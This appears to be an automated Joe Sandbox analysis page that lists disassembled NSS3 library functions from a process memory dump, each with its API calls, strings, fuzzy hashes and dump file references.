API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 1dea200e7e1cf6f8da642549adf16231ad3473add871c8ab993cbd580475b291
Instruction ID: 4a7d49b6eb7a0a897816d01854307a65a02c16ea25c7e9e1bb493e7fdb13e822
Opcode Fuzzy Hash: 1dea200e7e1cf6f8da642549adf16231ad3473add871c8ab993cbd580475b291
Instruction Fuzzy Hash: 3D81B271908301AFE711CFA4DD40B5BB7E4AB88718F14952DF958CB641EB31E98ACB92

Function 6CAE5C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6CAE5C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6CAE5CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6CAE5CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6CAE5D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6CAE5D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAE5D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CAE5E18
TlsGetValue.KERNEL32 ref: 6CAE5E5E
EnterCriticalSection.KERNEL32(?), ref: 6CAE5E72
PR_Unlock.NSS3(?), ref: 6CAE5E8B

Part of subcall function 6CADF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CADF854
Part of subcall function 6CADF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CADF868
Part of subcall function 6CADF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CADF882
Part of subcall function 6CADF820: free.MOZGLUE(04C483FF,?,?), ref: 6CADF889
Part of subcall function 6CADF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CADF8A4
Part of subcall function 6CADF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CADF8AB
Part of subcall function 6CADF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CADF8C9
Part of subcall function 6CADF820: free.MOZGLUE(280F10EC,?,?), ref: 6CADF8D0

Strings

tokens=[0x%x=<%s>], xrefs: 6CAE5D3D
d, xrefs: 6CAE5C36

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 4a06c666b1bd0a6aa645201384aebc5098f3655f0fc88601ea4e4aea3b7a9881
Instruction ID: 3a8d4ceaf4fe9765e903b28c8757c05683a0afb25f3c88ef54fdb643d22881e3
Opcode Fuzzy Hash: 4a06c666b1bd0a6aa645201384aebc5098f3655f0fc88601ea4e4aea3b7a9881
Instruction Fuzzy Hash: 9371F5B4E051009BEB009F29FD4576E3679AF4830CF180035D9099BB42EB32E999EBD2

Function 6CAD8F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CAD9582), ref: 6CAD8F5B

Part of subcall function 6CAEBE30: SECOID_FindOID_Util.NSS3(6CAA311B,00000000,?,6CAA311B,?), ref: 6CAEBE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CAD8F6A

Part of subcall function 6CAF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA987ED,00000800,6CA8EF74,00000000), ref: 6CAF1000
Part of subcall function 6CAF0FF0: PR_NewLock.NSS3(?,00000800,6CA8EF74,00000000), ref: 6CAF1016
Part of subcall function 6CAF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA987ED,00000008,?,00000800,6CA8EF74,00000000), ref: 6CAF102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CAD8FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6CAD8FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6CBBD820,6CAD9576), ref: 6CAD8FF9
DER_GetInteger_Util.NSS3(?), ref: 6CAD901D
PORT_ZAlloc_Util.NSS3(?), ref: 6CAD903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAD9062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CAD90A2
PORT_ZAlloc_Util.NSS3(?), ref: 6CAD90CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6CAD90F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CAD912D
free.MOZGLUE(00000000), ref: 6CAD9136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CAD9145

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 2de9c8abaaccfd16a559e5ee2a145862387522100bad7815f5e7f1757a3940e0
Instruction ID: e972fbcc19fbe6e6c143bd182e7deb67143e07f282efcb72bcf27cb7413fd0e3
Opcode Fuzzy Hash: 2de9c8abaaccfd16a559e5ee2a145862387522100bad7815f5e7f1757a3940e0
Instruction Fuzzy Hash: 7F51C4B1A042409BE700CF28DD41B9BB7E8EF98318F094529F95997741EB35E989CBD3

Function 6CA8AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CA8AF47

Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590AB
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590C9
Part of subcall function 6CB59090: EnterCriticalSection.KERNEL32 ref: 6CB590E5
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB59116
Part of subcall function 6CB59090: LeaveCriticalSection.KERNEL32 ref: 6CB5913F

FreeLibrary.KERNEL32(?), ref: 6CA8AF6D
free.MOZGLUE(?), ref: 6CA8AFA4
free.MOZGLUE(?), ref: 6CA8AFAA
PR_ExitMonitor.NSS3 ref: 6CA8AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6CA8AFF5
PR_ExitMonitor.NSS3 ref: 6CA8B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CA8B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6CA8B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CA8B03C

Strings

Unloaded library %s, xrefs: 6CA8B023
%s decr => %d, xrefs: 6CA8AFF0

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: ec05797ef19b0e4e9455baf0f0e2899d61ee9bf81677328284f301e1de62e34a
Instruction ID: 097393cdecb95c28ea6f9fac8677bac7cfe9c99ad437df74d2c367be3e81ac32
Opcode Fuzzy Hash: ec05797ef19b0e4e9455baf0f0e2899d61ee9bf81677328284f301e1de62e34a
Instruction Fuzzy Hash: 973109F5B05150ABD701AF64EC40A59B776EB05718B1C4225E81A87F80F732EC65C7E2

Function 6CAD6C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CAD781D,00000000,6CACBE2C,?,6CAD6B1D,?,?,?,?,00000000,00000000,6CAD781D), ref: 6CAD6C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CAD781D,?,6CACBE2C,?), ref: 6CAD6C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CAD781D), ref: 6CAD6C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CAD6C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CAD6C96

Part of subcall function 6CA81240: TlsGetValue.KERNEL32(00000040,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA81267
Part of subcall function 6CA81240: EnterCriticalSection.KERNEL32(?,?,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA8127C
Part of subcall function 6CA81240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA81291
Part of subcall function 6CA81240: PR_Unlock.NSS3(?,?,?,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA812A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CAD6CAA

Strings

sql:, xrefs: 6CAD6C52
NSS_DEFAULT_DB_TYPE, xrefs: 6CAD6C91
dbm:, xrefs: 6CAD6C3A
extern:, xrefs: 6CAD6C7E
dbm, xrefs: 6CAD6CA4
rdb:, xrefs: 6CAD6C69

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 182ed8def55a9cb0e6ed6840d2e1a4ac39cecf5ae8d6d546e74588d0050224fe
Instruction ID: 883bebc16850bd4de2daa64446714f62d4724dd697420ecdca7255ada1a2f7c1
Opcode Fuzzy Hash: 182ed8def55a9cb0e6ed6840d2e1a4ac39cecf5ae8d6d546e74588d0050224fe
Instruction Fuzzy Hash: D401F2A170238123E660277E6C4EF66360C9F416A8F1A0831FE18E1A81FBA2F51840A5

Function 6CAE4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CAA78F8), ref: 6CAE4E6D

Part of subcall function 6CA809E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CA806A2,00000000,?), ref: 6CA809F8
Part of subcall function 6CA809E0: malloc.MOZGLUE(0000001F), ref: 6CA80A18
Part of subcall function 6CA809E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CA80A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CAA78F8), ref: 6CAE4ED9

Part of subcall function 6CAD5920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6CAD7703,?,00000000,00000000), ref: 6CAD5942
Part of subcall function 6CAD5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CAD7703), ref: 6CAD5954
Part of subcall function 6CAD5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CAD596A
Part of subcall function 6CAD5920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CAD5984
Part of subcall function 6CAD5920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6CAD5999
Part of subcall function 6CAD5920: free.MOZGLUE(00000000), ref: 6CAD59BA
Part of subcall function 6CAD5920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6CAD59D3
Part of subcall function 6CAD5920: free.MOZGLUE(00000000), ref: 6CAD59F5
Part of subcall function 6CAD5920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6CAD5A0A
Part of subcall function 6CAD5920: free.MOZGLUE(00000000), ref: 6CAD5A2E
Part of subcall function 6CAD5920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6CAD5A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE4EB3

Part of subcall function 6CAE4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CAE4EB8,?,?,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE484C
Part of subcall function 6CAE4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CAE4EB8,?,?,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE486D
Part of subcall function 6CAE4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CAE4EB8,?), ref: 6CAE4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE4EC0

Part of subcall function 6CAE4470: TlsGetValue.KERNEL32(00000000,?,6CAA7296,00000000), ref: 6CAE4487
Part of subcall function 6CAE4470: EnterCriticalSection.KERNEL32(?,?,?,6CAA7296,00000000), ref: 6CAE44A0
Part of subcall function 6CAE4470: PR_Unlock.NSS3(?,?,?,?,6CAA7296,00000000), ref: 6CAE44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE4F8F
PK11_UpdateSlotAttribute.NSS3(?,6CBBDCB0,00000000), ref: 6CAE4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6CAE501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE506B

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: f24c980263f6bd8c51b21293973cf05aff24a2869cfa211d8352cd73b9eaad6d
Instruction ID: 6d2f741813be97182f96ecec22791d143326fd0f68a5f5d572531d4c87cbc33b
Opcode Fuzzy Hash: f24c980263f6bd8c51b21293973cf05aff24a2869cfa211d8352cd73b9eaad6d
Instruction Fuzzy Hash: 2851F3B59002019FEB01AF64ED0569A76B4FF0935CF080635E81A87B11FB31E5A8DAD2

Function 6CA8ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA8ACE2
malloc.MOZGLUE(00000001), ref: 6CA8ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CA8AD02
TlsGetValue.KERNEL32 ref: 6CA8AD3C
calloc.MOZGLUE(00000001,?), ref: 6CA8AD8C
PR_Unlock.NSS3 ref: 6CA8ADC0
free.MOZGLUE(00000000), ref: 6CA8AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CA8AE58
free.MOZGLUE(00000000), ref: 6CA8AE69
free.MOZGLUE(?), ref: 6CA8AE78
PR_Unlock.NSS3 ref: 6CA8AE8C
free.MOZGLUE(?), ref: 6CA8AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA8AEC7

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: fcf9a5d89d584cb98342b6e85c6d2f03106361addd22f4a3ce82ed12ad350469
Instruction ID: 94f9de1f523af147d08bb520c541425d624cf0943dd6f8e3f9aba5c5990afb61
Opcode Fuzzy Hash: fcf9a5d89d584cb98342b6e85c6d2f03106361addd22f4a3ce82ed12ad350469
Instruction Fuzzy Hash: 4551A3B1E021259BDF00DFA4E84176E7775FB0A749F180525D815A7B40D331AD95CBE1

Function 6CACADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6CACADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CACAE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CACAE29

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CACAE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CACAE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CACAE8A
PR_LogPrint.NSS3(?,00000000), ref: 6CACAEA0

Strings

C_MessageSignInit, xrefs: 6CACADE1
(CK_INVALID_HANDLE), xrefs: 6CACAE1F, 6CACAE80
hKey = 0x%x, xrefs: 6CACAE62, 6CACAE72
hSession = 0x%x, xrefs: 6CACAE01, 6CACAE11

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: aecea103a164572ef2a51ab866a42eafc0141df9257842f5b684d3534ff9839b
Instruction ID: 7526d86fe51a480ec6efec096ddaf008cae3d6683a9273c1e8f2e50c8a3c7a83
Opcode Fuzzy Hash: aecea103a164572ef2a51ab866a42eafc0141df9257842f5b684d3534ff9839b
Instruction Fuzzy Hash: 46312536701194ABCB008F64ED88FBE3776AB46318F484428E9196B711DB309D89CBD7

Function 6CAC9EE0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6CAC9F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC9F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC9F49

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC9F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CAC9F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC9FAA
PR_LogPrint.NSS3(?,00000000), ref: 6CAC9FC0

Strings

C_MessageEncryptInit, xrefs: 6CAC9F01
(CK_INVALID_HANDLE), xrefs: 6CAC9F3F, 6CAC9FA0
hKey = 0x%x, xrefs: 6CAC9F82, 6CAC9F92
hSession = 0x%x, xrefs: 6CAC9F21, 6CAC9F31

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit
API String ID: 332880674-1139731676
Opcode ID: 44d6e37a77ad563a65f4312124579d7c089378a3d4826f1c2e67ba0ed26e478d
Instruction ID: 18f2f8b14f1583831ce10f6f33ad680f9fd3479118687901367ef7721fb5eb7f
Opcode Fuzzy Hash: 44d6e37a77ad563a65f4312124579d7c089378a3d4826f1c2e67ba0ed26e478d
Instruction Fuzzy Hash: E8310575701284ABDB009F64EE88BFE3775AB4631CF084028E9196BB51DB309D88CB97

Function 6CB64C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CB64CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CB64CFD
sqlite3_value_text16.NSS3(?), ref: 6CB64D44

Strings

invalid, xrefs: 6CB64CF1
another row available, xrefs: 6CB64D20
out of memory, xrefs: 6CB64C78, 6CB64C9E
bad parameter or other API misuse, xrefs: 6CB64D05
unknown error, xrefs: 6CB64D56
no more rows available, xrefs: 6CB64D2E
abort due to ROLLBACK, xrefs: 6CB64D27, 6CB64D33
API call with %s database connection pointer, xrefs: 6CB64CF6

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 9a13b0a968e5f05bc7f4a2cc343a848a1bee8271ddaa1f9221d6971275790c99
Instruction ID: 262865c5d3969451e6c5b475f322cef000a09b94135e31a5fd578526eb8cea7f
Opcode Fuzzy Hash: 9a13b0a968e5f05bc7f4a2cc343a848a1bee8271ddaa1f9221d6971275790c99
Instruction Fuzzy Hash: EB313772E08CE1ABD708C62AE8317A97365FB8231CF150125D4245BF59CB21AC568FD3

Function 6CAC2DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6CAC2DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC2E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC2E33

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC2E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CAC2E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CAC2E81

Strings

pPin = 0x%p, xrefs: 6CAC2E63
(CK_INVALID_HANDLE), xrefs: 6CAC2E2C
ulPinLen = %d, xrefs: 6CAC2E7C
hSession = 0x%x, xrefs: 6CAC2E0E, 6CAC2E1E
C_InitPIN, xrefs: 6CAC2DF1

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
